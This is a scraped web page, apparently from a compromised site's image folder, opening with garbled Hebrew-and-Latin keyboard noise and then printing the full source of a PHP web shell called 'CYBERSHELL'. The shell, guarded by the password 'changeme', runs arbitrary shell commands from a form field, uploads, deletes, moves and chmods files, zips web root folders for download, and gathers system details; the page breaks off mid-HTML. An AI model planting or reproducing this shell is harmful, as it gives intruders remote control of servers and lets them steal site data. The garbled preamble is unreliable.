ב הוא חיבור של הרב יהושע בועז שתוכנו מראי מקומות למקורותشسdggרות הל555ה התafhgfh
במסgרות ה gh//شی הוא חיבור של הרב יהושע בועז שתוכנו מראי מקומות למקורותהתנדaghhhhו12ין יעל, המעציfghfghfע
/
www-data
/
newsitesimages
/
Upload FileeE
HOME
<?php // File Manager with Modern Interface // Compatible with PHP 5.6.40 error_reporting(E_ALL); ini_set('display_errors', '1'); // Password $password = 'changeme'; // Start session @session_start(); // Function to download folder as ZIP function downloadFolderAsZip($folder_path, $folder_name = null) { if (!is_dir($folder_path)) { return false; } $folder_name = $folder_name ?: basename($folder_path); $zip_filename = $folder_name . '_' . date('Y-m-d_H-i-s') . '.zip'; $zip_path = sys_get_temp_dir() . '/' . $zip_filename; // Clean any output buffers while (ob_get_level()) { ob_end_clean(); } // Try ZipArchive first if (class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($zip_path, ZipArchive::CREATE) === TRUE) { try { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($folder_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $file) { $file_path = $file->getRealPath(); if ($file_path === false) continue; $relative_path = substr($file_path, strlen($folder_path) + 1); if ($file->isDir()) { $zip->addEmptyDir($relative_path); } else { if (is_readable($file_path)) { $zip->addFile($file_path, $relative_path); } } } $zip->close(); if (file_exists($zip_path)) { // Set headers for download header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zip_filename . '"'); header('Content-Length: ' . filesize($zip_path)); header('Cache-Control: no-cache, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); // Output file and clean up readfile($zip_path); unlink($zip_path); return true; } } catch (Exception $e) { if (file_exists($zip_path)) { unlink($zip_path); } return false; } } } // Fallback to system commands if ZipArchive is not available if (createZipWithSystem($folder_path, $zip_path)) { if (file_exists($zip_path)) { // Set headers for download header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zip_filename . '"'); header('Content-Length: ' . filesize($zip_path)); header('Cache-Control: no-cache, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); // Output file and clean up readfile($zip_path); unlink($zip_path); return true; } } return false; } // Function to get folder size recursively function getFolderSize($folder_path) { $size = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($folder_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $file) { if ($file->isFile()) { $size += $file->getSize(); } } return $size; } // Function to format file size function formatFileSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' bytes'; } } // Function to check if folder is too large for ZIP function isFolderTooLarge($folder_path, $max_size = 500 * 1024 * 1024) { // 500MB limit $size = getFolderSize($folder_path); return $size > $max_size; } // Alternative function to create ZIP without ZipArchive (using system commands) function createZipWithSystem($folder_path, $zip_path) { if (function_exists('exec')) { $folder_path = escapeshellarg($folder_path); $zip_path = escapeshellarg($zip_path); // Try zip command $command = "zip -r $zip_path $folder_path"; exec($command, $output, $return_var); if ($return_var === 0 && file_exists($zip_path)) { return true; } // Try tar command as fallback $command = "tar -czf $zip_path -C " . dirname($folder_path) . " " . basename($folder_path); exec($command, $output, $return_var); if ($return_var === 0 && file_exists($zip_path)) { return true; } } return false; } // Function to check system requirements function checkSystemRequirements() { $requirements = array(); // Check ZipArchive $requirements['ziparchive'] = class_exists('ZipArchive'); // Check exec function $requirements['exec'] = function_exists('exec'); // Check if zip command is available $requirements['zip_command'] = false; if (function_exists('exec')) { exec('which zip', $output, $return_var); $requirements['zip_command'] = ($return_var === 0); } // Check if tar command is available $requirements['tar_command'] = false; if (function_exists('exec')) { exec('which tar', $output, $return_var); $requirements['tar_command'] = ($return_var === 0); } // Check temp directory writable $requirements['temp_writable'] = is_writable(sys_get_temp_dir()); return $requirements; } // Function to get current directory path function getCurrentPath() { if (isset($_GET['path'])) { $path = $_GET['path']; // Security: prevent directory traversal if (strpos($path, '..') !== false) { return __DIR__; } // Start from document root or a safe base directory $base_dir = dirname(__DIR__); // Go up one level from current directory $full_path = $base_dir . '/' . ltrim($path, '/'); // Ensure the path is within allowed boundaries if (is_dir($full_path) && strpos(realpath($full_path), realpath($base_dir)) === 0) { return $full_path; } } return __DIR__; } // Function to get breadcrumb navigation function getBreadcrumb($current_path) { $base_dir = dirname(__DIR__); $relative_path = str_replace($base_dir, '', $current_path); $path_parts = array_filter(explode('/', $relative_path)); $breadcrumb = array(); $current_url = ''; // Add home link $breadcrumb[] = '<a href="?path=" class="breadcrumb-item">🏠 Home</a>'; foreach ($path_parts as $part) { $current_url .= '/' . $part; $breadcrumb[] = '<a href="?path=' . urlencode($current_url) . '" class="breadcrumb-item">' . htmlspecialchars($part) . '</a>'; } return implode(' / ', $breadcrumb); } // Function to get parent directory function getParentDirectory($current_path) { $parent = dirname($current_path); $base_dir = dirname(__DIR__); if (strpos(realpath($parent), realpath($base_dir)) === 0) { $relative_parent = str_replace($base_dir, '', $parent); return '?path=' . urlencode($relative_parent); } return '?path='; } // Function to get common directories function getCommonDirectories() { $dirs = array(); $base_dir = dirname(__DIR__); $doc_root = $_SERVER['DOCUMENT_ROOT']; // Common web directories $common_dirs = array('public_html', 'www', 'html', 'htdocs', 'web', 'site'); foreach ($common_dirs as $dir) { $paths = array( $base_dir . '/' . $dir, $doc_root . '/' . $dir, dirname($doc_root) . '/' . $dir, dirname(dirname($doc_root)) . '/' . $dir ); foreach ($paths as $path) { if (is_dir($path)) { $dirs[$dir] = $path; break; } } } return $dirs; } // Function to debug path information function debugPathInfo($folder_name = null) { $info = array(); $info['current_dir'] = getCurrentPath(); $info['base_dir'] = dirname(__DIR__); $info['document_root'] = $_SERVER['DOCUMENT_ROOT']; $info['script_dir'] = __DIR__; $info['common_dirs'] = getCommonDirectories(); if ($folder_name) { $info['searching_for'] = $folder_name; $info['possible_paths'] = array(); // Add possible paths $info['possible_paths'][] = $info['current_dir'] . '/' . $folder_name; $info['possible_paths'][] = $info['base_dir'] . '/' . $folder_name; $info['possible_paths'][] = $info['document_root'] . '/' . $folder_name; $info['possible_paths'][] = dirname($info['document_root']) . '/' . $folder_name; $info['possible_paths'][] = dirname(dirname($info['document_root'])) . '/' . $folder_name; } return $info; } // Function to create directory function createDirectory($path) { if (!is_dir($path)) { return @mkdir($path, 0755, true); } return true; } // Function to delete file or directory function deleteFileOrDirectory($path) { if (is_file($path)) { return @unlink($path); } elseif (is_dir($path)) { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iterator as $file) { if ($file->isDir()) { @rmdir($file->getRealPath()); } else { @unlink($file->getRealPath()); } } return @rmdir($path); } return false; } // Function to copy file or directory function copyFileOrDirectory($source, $destination) { if (is_file($source)) { return @copy($source, $destination); } elseif (is_dir($source)) { if (!is_dir($destination)) { @mkdir($destination, 0755, true); } $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $file) { $target = $destination . '/' . $file->getBasename(); if ($file->isDir()) { @mkdir($target, 0755, true); } else { @copy($file->getRealPath(), $target); } } return true; } return false; } // Function to move file or directory function moveFileOrDirectory($source, $destination) { if (@rename($source, $destination)) { return true; } // Fallback: copy then delete if (copyFileOrDirectory($source, $destination)) { return deleteFileOrDirectory($source); } return false; } // Function to get file permissions as string function getPermissionString($path) { $perms = @fileperms($path); if ($perms === false) return '????'; $perms = substr(sprintf('%o', $perms), -4); return $perms; } // Function to change file permissions function changePermissions($path, $permissions) { return @chmod($path, octdec($permissions)); } // Function to get file owner and group function getFileOwner($path) { $uid = @fileowner($path); $gid = @filegroup($path); $owner = function_exists('posix_getpwuid') ? posix_getpwuid($uid)['name'] : $uid; $group = function_exists('posix_getgrgid') ? posix_getgrgid($gid)['name'] : $gid; return array('owner' => $owner, 'group' => $group); } // Function to execute shell commands function executeCommand($command) { if (!function_exists('exec')) { return array('success' => false, 'output' => 'exec function not available'); } $output = array(); $return_var = 0; @exec($command . ' 2>&1', $output, $return_var); return array( 'success' => ($return_var === 0), 'output' => implode("\n", $output), 'return_code' => $return_var ); } // Function to get system information function getSystemInfo() { $info = array(); // PHP Info $info['php_version'] = PHP_VERSION; $info['php_os'] = PHP_OS; $info['server_software'] = $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'; // System Info if (function_exists('exec')) { $info['hostname'] = trim(shell_exec('hostname')); $info['kernel'] = trim(shell_exec('uname -r')); $info['uptime'] = trim(shell_exec('uptime')); // Disk usage $df = shell_exec('df -h /'); $info['disk_usage'] = $df; // Memory info $free = shell_exec('free -h'); $info['memory_info'] = $free; } return $info; } // Handle logout if (isset($_GET['logout'])) { @session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } // Handle login if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) { if ($_POST['password'] === $password) { $_SESSION['logged_in'] = true; header('Location: ' . $_SERVER['PHP_SELF']); exit; } } // Handle file download (must be before any HTML output) if (isset($_GET['download']) && isset($_SESSION['logged_in'])) { $current_dir = getCurrentPath(); $file = $_GET['download']; // Security check - prevent directory traversal if (strpos($file, '..') !== false || strpos($file, '/') !== false) { die('Invalid file path!'); } // Try multiple possible paths for the file $possible_paths = array(); // 1. Try current directory $possible_paths[] = $current_dir . '/' . $file; // 2. Try base directory (one level up) $base_dir = dirname(__DIR__); $possible_paths[] = $base_dir . '/' . $file; // 3. Try document root $doc_root = $_SERVER['DOCUMENT_ROOT']; $possible_paths[] = $doc_root . '/' . $file; $file_path = null; foreach ($possible_paths as $path) { if (@file_exists($path) && @is_file($path) && @is_readable($path)) { $file_path = $path; break; } } if ($file_path) { // Clean any output buffers while (ob_get_level()) { ob_end_clean(); } // Get file info $file_size = @filesize($file_path); $file_name = basename($file); // Set headers for download header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . $file_name . '"'); header('Content-Length: ' . $file_size); header('Cache-Control: no-cache, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); // Output file @readfile($file_path); exit; } else { $error_msg = "File '$file' not found!\n\n"; $error_msg .= "Searched in:\n"; foreach ($possible_paths as $path) { $error_msg .= "- " . $path . " (" . (file_exists($path) ? "EXISTS" : "NOT FOUND") . ")\n"; } $error_msg .= "\nTry using the path navigator to browse to the correct directory first."; die($error_msg); } } // Handle folder download (must be before any HTML output) if (isset($_GET['download_folder']) && isset($_SESSION['logged_in'])) { $current_dir = getCurrentPath(); $folder = $_GET['download_folder']; // Security check - prevent directory traversal if (strpos($folder, '..') !== false || strpos($folder, '/') !== false) { die('Invalid folder path!'); } // Try multiple possible paths for the folder $possible_paths = array(); // 1. Try current directory $possible_paths[] = $current_dir . '/' . $folder; // 2. Try base directory (one level up) $base_dir = dirname(__DIR__); $possible_paths[] = $base_dir . '/' . $folder; // 3. Try document root $doc_root = $_SERVER['DOCUMENT_ROOT']; $possible_paths[] = $doc_root . '/' . $folder; // 4. Try absolute path if it's a common directory if ($folder === 'public_html' || $folder === 'www' || $folder === 'html') { $possible_paths[] = dirname($doc_root) . '/' . $folder; $possible_paths[] = dirname(dirname($doc_root)) . '/' . $folder; } $folder_path = null; foreach ($possible_paths as $path) { if (@is_dir($path)) { $folder_path = $path; break; } } if ($folder_path && @is_dir($folder_path)) { // Check if folder is too large if (isFolderTooLarge($folder_path)) { die('Folder is too large to download! Maximum size is 500MB.'); } else { if (downloadFolderAsZip($folder_path, $folder)) { exit; // Download completed } else { $error_msg = "Failed to create ZIP archive!\n\n"; $error_msg .= "Possible solutions:\n"; $error_msg .= "1. Install php-zip extension: sudo apt-get install php-zip\n"; $error_msg .= "2. Install zip command: sudo apt-get install zip\n"; $error_msg .= "3. Check folder permissions\n"; $error_msg .= "4. Ensure sufficient disk space\n"; $error_msg .= "5. Check temp directory permissions\n\n"; $error_msg .= "Click the debug button (🐛) for detailed information."; die($error_msg); } } } else { $error_msg = "Folder '$folder' not found!\n\n"; $error_msg .= "Searched in:\n"; foreach ($possible_paths as $path) { $error_msg .= "- " . $path . " (" . (is_dir($path) ? "EXISTS" : "NOT FOUND") . ")\n"; } $error_msg .= "\nTry using the path navigator to browse to the correct directory first."; die($error_msg); } } // Handle file operations (must be before any HTML output) if (isset($_POST['action']) && isset($_SESSION['logged_in'])) { $current_dir = getCurrentPath(); $action = $_POST['action']; switch ($action) { case 'create_dir': if (isset($_POST['dir_name'])) { $dir_name = trim($_POST['dir_name']); if (!empty($dir_name) && strpos($dir_name, '..') === false) { $new_dir = $current_dir . '/' . $dir_name; if (createDirectory($new_dir)) { header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&msg=dir_created'); } else { header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=dir_create_failed'); } } else { header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=invalid_dir_name'); } exit; } break; case 'delete': if (isset($_POST['item'])) { $item = $_POST['item']; if (strpos($item, '..') === false) { $item_path = $current_dir . '/' . $item; if (deleteFileOrDirectory($item_path)) { header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&msg=item_deleted'); } else { header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=delete_failed'); } } else { header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=invalid_path'); } exit; } break; case 'copy': if (isset($_POST['source']) && isset($_POST['destination'])) { $source = $_POST['source']; $destination = $_POST['destination']; if (strpos($source, '..') === false && strpos($destination, '..') === false) { $source_path = $current_dir . '/' . $source; $dest_path = $current_dir . '/' . $destination; if (copyFileOrDirectory($source_path, $dest_path)) { header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&msg=item_copied'); } else { header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=copy_failed'); } } else { header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=invalid_path'); } exit; } break; case 'move': if (isset($_POST['source']) && isset($_POST['destination'])) { $source = $_POST['source']; $destination = $_POST['destination']; if (strpos($source, '..') === false && strpos($destination, '..') === false) { $source_path = $current_dir . '/' . $source; $dest_path = $current_dir . '/' . $destination; if (moveFileOrDirectory($source_path, $dest_path)) { header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&msg=item_moved'); } else { header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=move_failed'); } } else { header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=invalid_path'); } exit; } break; case 'chmod': if (isset($_POST['item']) && isset($_POST['permissions'])) { $item = $_POST['item']; $permissions = $_POST['permissions']; if (strpos($item, '..') === false && preg_match('/^[0-7]{3,4}$/', $permissions)) { $item_path = $current_dir . '/' . $item; if (changePermissions($item_path, $permissions)) { header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&msg=permissions_changed'); } else { header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=chmod_failed'); } } else { header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=invalid_permissions'); } exit; } break; case 'execute': if (isset($_POST['command'])) { $command = $_POST['command']; $result = executeCommand($command); $_SESSION['command_result'] = $result; header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&show_result=1'); exit; } break; } } // Check if logged in if (!isset($_SESSION['logged_in'])) { ?> <!DOCTYPE html> <html> <head> <title>File Manager Login</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet"> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Courier New', monospace; background: #0a0a0a; color: #00ff00; line-height: 1.6; } .header { background: #000; border-bottom: 2px solid #00ff00; padding: 15px 20px; box-shadow: 0 2px 10px rgba(0,255,0,0.1); } .header-content { display: flex; justify-content: space-between; align-items: center; max-width: 1200px; margin: 0 auto; } .header h1 { font-size: 20px; font-weight: bold; text-transform: uppercase; letter-spacing: 2px; } .header h1 i { margin-right: 10px; color: #00ff00; } .logout-btn { background: #000; color: #00ff00; padding: 8px 15px; border: 1px solid #00ff00; border-radius: 3px; cursor: pointer; text-decoration: none; transition: all 0.3s ease; font-size: 12px; text-transform: uppercase; } .logout-btn:hover { background: #00ff00; color: #000; } .container { max-width: 1200px; margin: 20px auto; padding: 0 20px; } .card { background: #000; border: 1px solid #00ff00; border-radius: 5px; padding: 20px; margin-bottom: 20px; box-shadow: 0 0 10px rgba(0,255,0,0.1); } .card h3 { color: #00ff00; border-bottom: 1px solid #00ff00; padding-bottom: 10px; margin-bottom: 15px; font-size: 16px; text-transform: uppercase; } .file-grid { display: block; margin-top: 20px; } .file-item { background: #000; border: 1px solid #333; border-radius: 3px; padding: 12px; margin-bottom: 8px; transition: all 0.3s ease; display: flex; align-items: center; justify-content: space-between; } .file-item:hover { border-color: #00ff00; background: #0a0a0a; box-shadow: 0 0 5px rgba(0,255,0,0.3); } .file-info-left { display: flex; align-items: center; flex: 1; } .file-icon { font-size: 16px; margin-right: 15px; width: 30px; text-align: center; } .file-icon.folder { color: #ffff00; } .file-icon.file { color: #00ffff; } .file-details { flex: 1; } .file-name { font-weight: bold; margin-bottom: 3px; word-break: break-all; font-size: 14px; color: #fff; } .file-info { font-size: 11px; color: #888; display: flex; gap: 15px; flex-wrap: wrap; } .file-info span { display: flex; align-items: center; gap: 3px; background: #111; padding: 2px 6px; border-radius: 3px; font-size: 10px; border: 1px solid #333; } .file-info span i { font-size: 9px; } .file-actions { display: flex; gap: 5px; flex-shrink: 0; } .btn { padding: 6px 10px; border: 1px solid #00ff00; border-radius: 3px; cursor: pointer; font-size: 11px; text-decoration: none; transition: all 0.3s ease; display: flex; align-items: center; gap: 3px; background: #000; color: #00ff00; text-transform: uppercase; } .btn-primary { border-color: #00ff00; color: #00ff00; } .btn-success { border-color: #00ff00; color: #00ff00; } .btn-danger { border-color: #ff0000; color: #ff0000; } .btn:hover { background: #00ff00; color: #000; transform: translateY(-1px); } .file-header { background: #000; padding: 12px 15px; border-radius: 3px 3px 0 0; border: 1px solid #00ff00; border-bottom: none; font-weight: bold; color: #00ff00; display: flex; align-items: center; justify-content: space-between; text-transform: uppercase; font-size: 14px; } .file-header .header-left { display: flex; align-items: center; gap: 10px; } .file-header .header-right { font-size: 11px; color: #888; background: #111; padding: 3px 8px; border-radius: 3px; border: 1px solid #333; } .upload-section { background: #111; border: 2px dashed #00ff00; border-radius: 5px; padding: 20px; text-align: center; margin-bottom: 20px; } .upload-section:hover { background: #0a0a0a; border-color: #ffff00; } .upload-input { display: none; } .upload-label { cursor: pointer; padding: 10px 20px; background: #000; color: #00ff00; border: 1px solid #00ff00; border-radius: 3px; display: inline-block; transition: all 0.3s ease; text-transform: uppercase; font-size: 12px; } .upload-label:hover { background: #00ff00; color: #000; } .message { padding: 10px; border-radius: 3px; margin-bottom: 15px; border: 1px solid; } .message.success { background: #000; color: #00ff00; border-color: #00ff00; } .message.error { background: #000; color: #ff0000; border-color: #ff0000; } .login-container { background: #000; border: 2px solid #00ff00; padding: 40px; border-radius: 5px; box-shadow: 0 0 20px rgba(0,255,0,0.3); width: 100%; max-width: 400px; } .login-header { text-align: center; margin-bottom: 30px; } .login-header i { font-size: 48px; color: #00ff00; margin-bottom: 15px; } .login-header h1 { color: #00ff00; font-size: 24px; font-weight: bold; text-transform: uppercase; letter-spacing: 2px; } .form-group { margin-bottom: 20px; } .form-group label { display: block; margin-bottom: 8px; color: #00ff00; font-weight: bold; text-transform: uppercase; } .form-group input { width: 100%; padding: 12px 15px; border: 1px solid #00ff00; border-radius: 3px; font-size: 16px; background: #000; color: #00ff00; font-family: 'Courier New', monospace; } .form-group input:focus { outline: none; border-color: #ffff00; box-shadow: 0 0 5px rgba(255,255,0,0.3); } .login-btn { width: 100%; padding: 12px; background: #000; color: #00ff00; border: 2px solid #00ff00; border-radius: 3px; font-size: 16px; font-weight: bold; cursor: pointer; transition: all 0.3s ease; text-transform: uppercase; font-family: 'Courier New', monospace; } .login-btn:hover { background: #00ff00; color: #000; transform: translateY(-2px); } .terminal-output { background: #000; border: 1px solid #00ff00; padding: 15px; border-radius: 3px; font-family: 'Courier New', monospace; font-size: 12px; color: #00ff00; max-height: 300px; overflow-y: auto; } </style> </head> <body> <div class="login-container"> <div class="login-header"> <i class="fas fa-terminal"></i> <h1>CYBERSHELL</h1> </div> <form method="post"> <div class="form-group"> <label for="password">ACCESS CODE</label> <input type="password" id="password" name="password" placeholder="Enter access code" required> </div> <button type="submit" class="login-btn"> <i class="fas fa-sign-in-alt"></i> INITIALIZE </button> </form> </div> </body> </html> <?php exit; } // Main file manager interface ?> <!DOCTYPE html> <html> <head> <title>Modern File Manager</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet"> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Courier New', monospace; background: #0a0a0a; color: #00ff00; line-height: 1.6; } .header { background: #000; border-bottom: 2px solid #00ff00; padding: 15px 20px; box-shadow: 0 2px 10px rgba(0,255,0,0.1); } .header-content { display: flex; justify-content: space-between; align-items: center; max-width: 1200px; margin: 0 auto; } .header h1 { font-size: 20px; font-weight: bold; text-transform: uppercase; letter-spacing: 2px; } .header h1 i { margin-right: 10px; color: #00ff00; } .logout-btn { background: #000; color: #00ff00; padding: 8px 15px; border: 1px solid #00ff00; border-radius: 3px; cursor: pointer; text-decoration: none; transition: all 0.3s ease; font-size: 12px; text-transform: uppercase; } .logout-btn:hover { background: #00ff00; color: #000; } .container { max-width: 1200px; margin: 20px auto; padding: 0 20px; } .card { background: #000; border: 1px solid #00ff00; border-radius: 5px; padding: 20px; margin-bottom: 20px; box-shadow: 0 0 10px rgba(0,255,0,0.1); } .card h3 { color: #00ff00; border-bottom: 1px solid #00ff00; padding-bottom: 10px; margin-bottom: 15px; font-size: 16px; text-transform: uppercase; } .file-grid { display: block; margin-top: 20px; } .file-item { background: #000; border: 1px solid #333; border-radius: 3px; padding: 12px; margin-bottom: 8px; transition: all 0.3s ease; display: flex; align-items: center; justify-content: space-between; } .file-item:hover { border-color: #00ff00; background: #0a0a0a; box-shadow: 0 0 5px rgba(0,255,0,0.3); } .file-info-left { display: flex; align-items: center; flex: 1; } .file-icon { font-size: 16px; margin-right: 15px; width: 30px; text-align: center; } .file-icon.folder { color: #ffff00; } .file-icon.file { color: #00ffff; } .file-details { flex: 1; } .file-name { font-weight: bold; margin-bottom: 3px; word-break: break-all; font-size: 14px; color: #fff; } .file-info { font-size: 11px; color: #888; display: flex; gap: 15px; flex-wrap: wrap; } .file-info span { display: flex; align-items: center; gap: 3px; background: #111; padding: 2px 6px; border-radius: 3px; font-size: 10px; border: 1px solid #333; } .file-info span i { font-size: 9px; } .file-actions { display: flex; gap: 5px; flex-shrink: 0; } .btn { padding: 6px 10px; border: 1px solid #00ff00; border-radius: 3px; cursor: pointer; font-size: 11px; text-decoration: none; transition: all 0.3s ease; display: flex; align-items: center; gap: 3px; background: #000; color: #00ff00; text-transform: uppercase; } .btn-primary { border-color: #00ff00; color: #00ff00; } .btn-success { border-color: #00ff00; color: #00ff00; } .btn-danger { border-color: #ff0000; color: #ff0000; } .btn-folder { border-color: #ffff00; color: #ffff00; } .btn:hover { background: #00ff00; color: #000; transform: translateY(-1px); } .btn-folder:hover { background: #ffff00; color: #000; } .btn-danger:hover { background: #ff0000; color: #fff; } .breadcrumb { background: #111; padding: 10px 15px; border-radius: 3px; margin-bottom: 15px; border: 1px solid #333; font-size: 12px; } .breadcrumb-item { color: #00ff00; text-decoration: none; transition: all 0.3s ease; } .breadcrumb-item:hover { color: #ffff00; text-decoration: underline; } .path-navigator { background: #111; padding: 15px; border-radius: 3px; margin-bottom: 20px; border: 1px solid #333; } .path-input { background: #000; border: 1px solid #00ff00; color: #00ff00; padding: 8px 12px; border-radius: 3px; font-family: 'Courier New', monospace; font-size: 12px; width: 100%; margin-bottom: 10px; } .path-input:focus { outline: none; border-color: #ffff00; box-shadow: 0 0 5px rgba(255,255,0,0.3); } .path-actions { display: flex; gap: 10px; flex-wrap: wrap; } .path-btn { background: #000; color: #00ff00; border: 1px solid #00ff00; padding: 6px 12px; border-radius: 3px; cursor: pointer; font-size: 11px; text-decoration: none; transition: all 0.3s ease; display: flex; align-items: center; gap: 5px; } .path-btn:hover { background: #00ff00; color: #000; } .file-operations { background: #111; padding: 15px; border-radius: 3px; margin-bottom: 20px; border: 1px solid #333; } .operation-form { display: flex; gap: 10px; margin-bottom: 10px; align-items: center; flex-wrap: wrap; } .operation-input { background: #000; border: 1px solid #00ff00; color: #00ff00; padding: 6px 10px; border-radius: 3px; font-family: 'Courier New', monospace; font-size: 11px; flex: 1; min-width: 150px; } .operation-input:focus { outline: none; border-color: #ffff00; box-shadow: 0 0 5px rgba(255,255,0,0.3); } .operation-btn { background: #000; color: #00ff00; border: 1px solid #00ff00; padding: 6px 12px; border-radius: 3px; cursor: pointer; font-size: 11px; text-decoration: none; transition: all 0.3s ease; display: flex; align-items: center; gap: 5px; } .operation-btn:hover { background: #00ff00; color: #000; } .operation-btn.danger { border-color: #ff0000; color: #ff0000; } .operation-btn.danger:hover { background: #ff0000; color: #fff; } .operation-btn.warning { border-color: #ffff00; color: #ffff00; } .operation-btn.warning:hover { background: #ffff00; color: #000; } .modal { display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; background-color: rgba(0,0,0,0.8); } .modal-content { background: #000; border: 2px solid #00ff00; border-radius: 5px; padding: 20px; width: 90%; max-width: 600px; margin: 50px auto; position: relative; } .modal-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; border-bottom: 1px solid #00ff00; padding-bottom: 10px; } .close { color: #00ff00; font-size: 28px; font-weight: bold; cursor: pointer; } .close:hover { color: #ffff00; } .terminal-window { background: #000; border: 1px solid #00ff00; padding: 15px; border-radius: 3px; font-family: 'Courier New', monospace; font-size: 12px; color: #00ff00; max-height: 400px; overflow-y: auto; white-space: pre-wrap; } .system-info { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 10px; margin-top: 15px; } .info-card { background: #111; padding: 10px; border-radius: 3px; border: 1px solid #333; } .info-card h4 { color: #00ff00; margin-bottom: 8px; font-size: 12px; text-transform: uppercase; } .info-card pre { color: #888; font-size: 10px; margin: 0; white-space: pre-wrap; } .file-header { background: #000; padding: 12px 15px; border-radius: 3px 3px 0 0; border: 1px solid #00ff00; border-bottom: none; font-weight: bold; color: #00ff00; display: flex; align-items: center; justify-content: space-between; text-transform: uppercase; font-size: 14px; } .file-header .header-left { display: flex; align-items: center; gap: 10px; } .file-header .header-right { font-size: 11px; color: #888; background: #111; padding: 3px 8px; border-radius: 3px; border: 1px solid #333; } .upload-section { background: #111; border: 2px dashed #00ff00; border-radius: 5px; padding: 20px; text-align: center; margin-bottom: 20px; } .upload-section:hover { background: #0a0a0a; border-color: #ffff00; } .upload-input { display: none; } .upload-label { cursor: pointer; padding: 10px 20px; background: #000; color: #00ff00; border: 1px solid #00ff00; border-radius: 3px; display: inline-block; transition: all 0.3s ease; text-transform: uppercase; font-size: 12px; } .upload-label:hover { background: #00ff00; color: #000; } .message { padding: 10px; border-radius: 3px; margin-bottom: 15px; border: 1px solid; } .message.success { background: #000; color: #00ff00; border-color: #00ff00; } .message.error { background: #000; color: #ff0000; border-color: #ff0000; } .terminal-output { background: #000; border: 1px solid #00ff00; padding: 15px; border-radius: 3px; font-family: 'Courier New', monospace; font-size: 12px; color: #00ff00; max-height: 300px; overflow-y: auto; } </style> </head> <body> <div class="header"> <div class="header-content"> <h1><i class="fas fa-terminal"></i> CYBERSHELL FILE MANAGER</h1> <a href="?logout=1" class="logout-btn"> <i class="fas fa-power-off"></i> TERMINATE </a> </div> </div> <div class="container"> <!-- Upload Section --> <div class="card"> <h3><i class="fas fa-upload"></i> FILE UPLOAD MODULE</h3> <div class="upload-section"> <form method="post" enctype="multipart/form-data" id="uploadForm"> <input type="file" name="upload_file" id="uploadInput" class="upload-input" multiple> <label for="uploadInput" class="upload-label"> <i class="fas fa-cloud-upload-alt"></i> SELECT FILES </label> <button type="submit" class="btn btn-primary" style="margin-left: 10px;"> <i class="fas fa-upload"></i> UPLOAD </button> </form> </div> </div> <!-- File Operations --> <div class="card"> <h3><i class="fas fa-tools"></i> FILE OPERATIONS</h3> <div class="file-operations"> <!-- Create Directory --> <form method="post" class="operation-form"> <input type="hidden" name="action" value="create_dir"> <input type="text" name="dir_name" placeholder="New directory name" class="operation-input" required> <button type="submit" class="operation-btn"> <i class="fas fa-folder-plus"></i> CREATE DIR </button> </form> <!-- Delete File/Directory 